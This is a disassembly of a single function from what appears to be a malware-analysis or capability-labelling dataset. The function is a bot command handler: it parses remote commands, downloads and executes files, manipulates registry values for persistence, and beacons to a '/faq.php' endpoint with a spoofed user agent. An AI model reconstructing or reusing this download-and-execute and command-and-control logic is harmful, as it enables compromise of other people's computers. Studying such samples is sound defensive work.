Function at 0x100156b0
Capabilities:
Create process on windows
Create thread
Delete file
Delete registry value
Get common file path
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x520
push esi
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x10016501
push ebx
push edi
lea eax, [ebp - 0x318]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x214]
push ecx
push 0
push 0
lea edx, [ebp - 0x318]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str._kill_os
push esi
call edi
add esp, 8
test eax, eax
je 0x10015839
mov eax, str.LOCALSERVICE_JOHNDEACFC57A3_BF4BCE24
mov dword [ebp - 0x110], 0x3d6469
mov edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015720
lea edi, [ebp - 0x110]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10015730
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x110]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10015750
mov ecx, dword [str.ret_valok]
mov edx, dword [0x10049a0c]
mov dword [eax], ecx
mov ecx, dword [0x10049a10]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
jmp 0x10015780
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015780
sub eax, edx
mov ebx, eax
call fcn.10001720
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729___.NET_CLR_3.0.30729__Media_Center_PC_6.0_
test eax, eax
jne 0x1001579e
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.100145e0
push 0
push 1
push ebx
lea edx, [ebp - 0x110]
push edx
push 1
mov esi, eax
push edi
lea eax, [ebp - 0x214]
push eax
push str._faq.php
push 0
mov eax, esi
call fcn.10014680
test eax, eax
jne 0x100157f9
push eax
push 1
push ebx
lea ecx, [ebp - 0x110]
push ecx
push 1
push edi
lea edx, [ebp - 0x214]
push edx
push str._faq.php
push 1
mov eax, esi
call fcn.10014680
test eax, eax
jne 0x100157f9
call fcn.10006bc0
push 0
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.100133a0
call fcn.10013140
push 0
push 0
push 0x64
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str._activebc
push esi
call edi
add esp, 8
test eax, eax
je 0x10015a19
push str._activebc
push esi
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
call esi
lea ebx, [eax + 0xa]
push 0x10049a2c
push ebx
mov dword [ebp - 8], eax
call esi
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10015a19
push 0x80000002
mov edi, 0x1005ae0c
mov eax, ebx
mov byte [esi], 0
call fcn.10007ba0
test eax, eax
jne 0x10015899
push 0x80000001
mov eax, ebx
call fcn.10007ba0
push 0x80000002
mov edi, 0x1005af10
lea eax, [esi + 1]
mov byte [esi], 0x3a
call fcn.10007ba0
test eax, eax
jne 0x100158bf
push 0x80000001
lea eax, [esi + 1]
call fcn.10007ba0
push str.GlobalEAF799BF_8449_4fe1_9A0D_95CD39DC2014
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x10015a19
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea edx, [ebp - 4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001590d
test byte [ebp - 4], 2
jne 0x1001590d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
mov dword [ebp - 0x110], 0x3d6469
call fcn.10003420
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10015920
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10015932
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x110]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10015950
mov ecx, dword [str.activebcok]
mov edx, dword [0x10049a34]
mov dword [eax], ecx
mov ecx, dword [0x10049a38]
mov dword [eax + 4], edx
mov dl, byte [0x10049a3c]
mov dword [eax + 8], ecx
mov byte [eax + 0xc], dl
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015984
sub eax, edx
mov ebx, eax
call fcn.10001720
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729___.NET_CLR_3.0.30729__Media_Center_PC_6.0_
test eax, eax
jne 0x100159a2
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.100145e0
push 0
push 1
push ebx
mov esi, eax
lea eax, [ebp - 0x110]
push eax
push 1
push edi
lea ecx, [ebp - 0x214]
push ecx
push str._faq.php
push 0
mov eax, esi
call fcn.10014680
test eax, eax
jne 0x100159fd
push eax
push 1
push ebx
lea edx, [ebp - 0x110]
push edx
push 1
push edi
lea eax, [ebp - 0x214]
push eax
push str._faq.php
push 1
mov eax, esi
call fcn.10014680
test eax, eax
jne 0x100159fd
call fcn.10006bc0
push 0
lea ecx, [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 8]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str._deactivebc
push eax
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 8
test eax, eax
je 0x10015d4b
push 0x103
xor ebx, ebx
lea ecx, [ebp - 0x41b]
push ebx
push ecx
mov byte [ebp - 0x41c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 4]
push edx
push 0x102
push ebx
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 4], ebx
call esi
test eax, eax
jne 0x10015a96
mov eax, dword [ebp - 4]
push 0x1005ae0c
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x10015a96
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
or ebx, 0xffffffff
mov eax, dword [ebp - 4]
test eax, eax
je 0x10015aa4
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x10015b0b
push 0x103
lea edx, [ebp - 0x41b]
push ebx
push edx
mov byte [ebp - 0x41c], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x102
push ebx
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 4], ebx
call esi
test eax, eax
jne 0x10015afd
mov ecx, dword [ebp - 4]
push 0x1005ae0c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x10015afd
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10015b0b
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x103
xor ebx, ebx
lea eax, [ebp - 0x41b]
push ebx
push eax
mov byte [ebp - 0x41c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push 0x102
push ebx
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 4], ebx
call esi
test eax, eax
jne 0x10015b66
mov edx, dword [ebp - 4]
push 0x1005af10
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x10015b66
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
or ebx, 0xffffffff
mov eax, dword [ebp - 4]
test eax, eax
je 0x10015b74
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x10015bdb
push 0x103
lea ecx, [ebp - 0x41b]
push ebx
push ecx
mov byte [ebp - 0x41c], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 4]
push edx
push 0x102
push ebx
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 4], ebx
call esi
test eax, eax
jne 0x10015bcd
mov eax, dword [ebp - 4]
push 0x1005af10
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x10015bcd
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10015bdb
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x10015d4b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea edx, [ebp - 4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10015c29
test byte [ebp - 4], 2
jne 0x10015c29
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
mov dword [ebp - 0x110], 0x3d6469
call fcn.10003420
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10015c40
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10015c52
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x110]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10015c70
mov ecx, dword [str.deactivebcok]
mov edx, dword [0x10049a50]
mov dword [eax], ecx
mov ecx, dword [0x10049a54]
mov dword [eax + 4], edx
mov dx, word [0x10049a58]
mov dword [eax + 8], ecx
mov cl, byte [0x10049a5a]
mov word [eax + 0xc], dx
mov byte [eax + 0xe], cl
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015cb0
sub eax, edx
mov ebx, eax
call fcn.10001720
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729___.NET_CLR_3.0.30729__Media_Center_PC_6.0_
test eax, eax
jne 0x10015cce
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.100145e0
push 0
push 1
push ebx
lea edx, [ebp - 0x110]
push edx
push 1
mov esi, eax
push edi
lea eax, [ebp - 0x214]
push eax
push str._faq.php
push 0
mov eax, esi
call fcn.10014680
test eax, eax
jne 0x10015d29
push eax
push 1
push ebx
lea ecx, [ebp - 0x110]
push ecx
push 1
push edi
lea edx, [ebp - 0x214]
push edx
push str._faq.php
push 1
mov eax, esi
call fcn.10014680
test eax, eax
jne 0x10015d29
call fcn.10006bc0
push 0
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
mov esi, dword [ebp - 8]
push str._load
push esi
call edi
add esp, 8
test eax, eax
je 0x10016019
mov edx, esi
push str._load
push edx
call edi
lea esi, [eax + 6]
push 0x1004573c
push esi
mov dword [ebp - 8], eax
call edi
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x10015d85
mov byte [ebx], 0
add esi, 7
lea edx, [ebp - 0x520]
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10015d92
push 0x10049a64
push esi
call edi
add esp, 8
mov dword [ebp - 4], eax
test eax, eax
je 0x100164ff
push 0x10049a68
push eax
call edi
add esp, 8
mov dword [ebp - 0xc], eax
test eax, eax
je 0x100164ff
mov byte [eax], 0
lea eax, [ebp - 0x520]
push 0x10049a68
push eax
call edi
mov esi, eax
mov byte [esi], 0
add esp, 8
inc esi
test ebx, ebx
je 0x10015de9
mov byte [ebx], 0xa
lea ecx, [ebp - 0x520]
push 0x10049a64
push ecx
call edi
add esp, 8
test eax, eax
je 0x100164ff
lea edx, [ebp - 0x318]
push edx
push 0x104
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x214]
push eax
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x214]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10015e36
mov edx, dword [str..exe]
mov cl, byte [0x10045624]
mov dword [eax], edx
mov byte [eax + 4], cl
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015e54
sub eax, edx
mov ebx, eax
call fcn.10001720
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729___.NET_CLR_3.0.30729__Media_Center_PC_6.0_
test eax, eax
jne 0x10015e72
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
mov eax, dword [ebp - 4]
push 0
push 1
push ebx
push esi
push 1
push edi
lea edx, [ebp - 0x214]
push edx
push eax
push 0
lea eax, [ebp - 0x520]
call fcn.10014680
test eax, eax
jne 0x10015ebf
mov edx, dword [ebp - 4]
push eax
push 1
push ebx
push esi
push 1
push edi
lea ecx, [ebp - 0x214]
push ecx
push edx
push 1
lea eax, [ebp - 0x520]
call fcn.10014680
test eax, eax
je 0x1001600a
push 5
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
jbe 0x1001600a
push 0
mov dword [ebp - 0x110], 0x3d6469
call fcn.10003420
mov ecx, eax
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10015ef0
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10015f02
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x110]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10015f20
mov ecx, dword [str.loadok]
mov edx, dword [0x10049a70]
mov dword [eax], ecx
mov cl, byte [0x10049a74]
mov dword [eax + 4], edx
lea edx, [ebp - 0x318]
push edx
push 0x104
mov byte [eax + 8], cl
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x214]
push eax
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015f75
sub eax, edx
mov ebx, eax
call fcn.10001720
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729___.NET_CLR_3.0.30729__Media_Center_PC_6.0_
test eax, eax
jne 0x10015f93
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.100145e0
push 0
push 1
push ebx
lea edx, [ebp - 0x110]
push edx
push 1
mov esi, eax
push edi
lea eax, [ebp - 0x214]
push eax
push str._faq.php
push 0
mov eax, esi
call fcn.10014680
test eax, eax
jne 0x10015fee
push eax
push 1
push ebx
lea ecx, [ebp - 0x110]
push ecx
push 1
push edi
lea edx, [ebp - 0x214]
push edx
push str._faq.php
push 1
mov eax, esi
call fcn.10014680
test eax, eax
jne 0x10015fee
call fcn.10006bc0
push 0
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0xc]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
mov esi, dword [ebp - 8]
mov byte [edx], 0x3f
push str._inject_n
push esi
call edi
add esp, 8
test eax, eax
je 0x1001626e
mov eax, dword [ebp - 8]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push str._inject_n
push eax
call esi
lea ebx, [eax + 8]
push 0x1004573c
push ebx
mov dword [ebp - 8], ebx
call esi
add esp, 0x10
mov dword [ebp - 0xc], eax
test eax, eax
je 0x100164ff
mov byte [eax], 0
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016061
sub eax, edx
je 0x100164ff
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x100164ff
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push ebx
call fcn.10044850
lea ecx, [ebp - 0x318]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x214]
push edx
push 0
push 0
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100160d2
sub eax, edx
push eax
push esi
lea eax, [ebp - 0x214]
call fcn.10007140
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1001610a
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
lea esi, [ebp - 0x214]
call fcn.10011530
mov ecx, dword [ebp - 0xc]
mov byte [ecx], 0xa
push 0
mov dword [ebp - 0x110], 0x3d6469
call fcn.10003420
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10016140
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10016152
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x110]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10016170
mov edx, dword [str.injectok]
mov ecx, dword [0x10049a88]
mov dword [eax], edx
mov dx, word [0x10049a8c]
mov dword [eax + 4], ecx
mov cl, byte [0x10049a8e]
mov word [eax + 8], dx
lea edx, [ebp - 0x318]
push edx
push 0x104
mov byte [eax + 0xa], cl
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x214]
push eax
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100161d0
sub eax, edx
mov ebx, eax
call fcn.10001720
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729___.NET_CLR_3.0.30729__Media_Center_PC_6.0_
test eax, eax
jne 0x100161ee
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.100145e0
push 0
push 1
push ebx
lea edx, [ebp - 0x110]
push edx
push 1
mov esi, eax
push edi
lea eax, [ebp - 0x214]
push eax
push str._faq.php
push 0
mov eax, esi
call fcn.10014680
test eax, eax
jne 0x10016249
push eax
push 1
push ebx
lea ecx, [ebp - 0x110]
push ecx
push 1
push edi
lea edx, [ebp - 0x214]
push edx
push str._faq.php
push 1
mov eax, esi
call fcn.10014680
test eax, eax
jne 0x10016249
call fcn.10006bc0
push 0
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
mov esi, dword [ebp - 8]
push str._new_config
push esi
call edi
add esp, 8
test eax, eax
je 0x100164f4
push str._new_config
push esi
call edi
lea esi, [eax + 0xc]
add esp, 8
mov dword [ebp - 8], eax
test esi, esi
je 0x100164ff
inc esi
push 0x1005a4e8
mov eax, esi
call fcn.100144a0
push 0
push 0
push 0
push 0x10015020
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, eax
test ebx, ebx
je 0x100162e5
lea edx, [ebp - 4]
push edx
push ebx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100162e5
test byte [ebp - 4], 2
jne 0x100162e5
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1004573c
push esi
call edi
mov esi, eax
add esp, 8
test esi, esi
je 0x100164ff
mov ebx, dword [sym.imp.MSVCRT.dll_atoi]
inc esi
push esi
call ebx
add esp, 4
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20106
push 0
push str.softwaremicrosoft
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10016362
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 0xc]
push ecx
push 4
push eax
push 0x1005be4c
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1004573c
push esi
call edi
add esp, 8
test eax, eax
je 0x100164ff
inc eax
push eax
call ebx
add esp, 4
lea edx, [ebp - 4]
push edx
push 0x20106
push 0
push str.softwaremicrosoft
mov dword [ebp - 0xc], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100163d8
mov ecx, dword [ebp - 4]
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push 0
push 0x1005bf50
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
mov dword [ebp - 0x110], 0x3d6469
call fcn.10003420
mov ecx, eax
jmp 0x100163f0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100163f0
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10016402
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x110]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10016420
mov ecx, dword [str.configok]
mov edx, dword [0x10049aa0]
mov dword [eax], ecx
mov cx, word [0x10049aa4]
mov dword [eax + 4], edx
mov dl, byte [0x10049aa6]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016456
sub eax, edx
mov ebx, eax
call fcn.10001720
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729___.NET_CLR_3.0.30729__Media_Center_PC_6.0_
test eax, eax
jne 0x10016474
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.100145e0
push 0
push 1
push ebx
mov esi, eax
lea eax, [ebp - 0x110]
push eax
push 1
push edi
lea ecx, [ebp - 0x214]
push ecx
push str._faq.php
push 0
mov eax, esi
call fcn.10014680
test eax, eax
jne 0x100164cf
push eax
push 1
push ebx
lea edx, [ebp - 0x110]
push edx
push 1
push edi
lea eax, [ebp - 0x214]
push eax
push str._faq.php
push 1
mov eax, esi
call fcn.10014680
test eax, eax
jne 0x100164cf
call fcn.10006bc0
push 0
lea ecx, [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
mov esi, dword [ebp - 8]
push 0x10049794
push esi
call edi
add esp, 8
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret